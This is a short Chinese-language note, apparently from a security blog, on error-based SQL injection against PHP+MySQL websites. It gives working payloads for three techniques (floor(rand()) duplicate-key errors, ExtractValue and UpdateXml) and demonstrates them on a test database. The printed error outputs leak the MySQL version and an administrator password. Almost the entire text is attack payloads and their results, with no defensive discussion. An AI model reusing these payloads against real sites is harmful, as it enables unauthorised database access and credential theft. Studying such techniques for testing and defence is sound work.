放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
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mysql> show tables;+----------------+| Tables_in_test |+----------------+| admin || article |+----------------+ |
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mysql> describe admin;+-------+------------------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+-------+------------------+------+-----+---------+----------------+| id | int(10) unsigned | NO | PRI | NULL | auto_increment || user | varchar(50) | NO | | NULL | || pass | varchar(50) | NO | | NULL | |+-------+------------------+------+-----+---------+----------------+ |
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mysql> describe article;+---------+------------------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+---------+------------------+------+-----+---------+----------------+| id | int(10) unsigned | NO | PRI | NULL | auto_increment || title | varchar(50) | NO | | NULL | || content | varchar(50) | NO | | NULL | |+---------+------------------+------+-----+---------+----------------+ |
1、通过floor报错
可以通过如下一些利用代码
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and select 1 from (select count(*),concat(version(),floor(rand(0)*2))xfrom information_schema.tables group by x)a); |
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and (select count(*) from (select 1 union select null union select !1)xgroup by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); |
举例如下： 首先进行正常查询：
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mysql> select * from article where id = 1;+----+-------+---------+| id | title | content |+----+-------+---------+| 1 | test | do it |+----+-------+---------+ |
假如id输入存在注入的话，可以通过如下语句进行报错。
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mysql> select * from article where id = 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key' |
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。 例如我们需要查询管理员用户名和密码： Method1:
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mysql> select * from article where id = 1 and (select 1 from(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))xfrom information_schema.tables group by x)a);ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key' |
Method2:
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mysql> select * from article where id = 1 and (select count(*)from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key' |
2、ExtractValue 测试语句如下
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and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); |
实际测试过程
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mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));--ERROR 1105 (HY000): XPATH syntax error: '\admin888' |
3、UpdateXml 测试语句
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and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)) |
实际测试过程
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mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$' |
All, thanks foreign guys.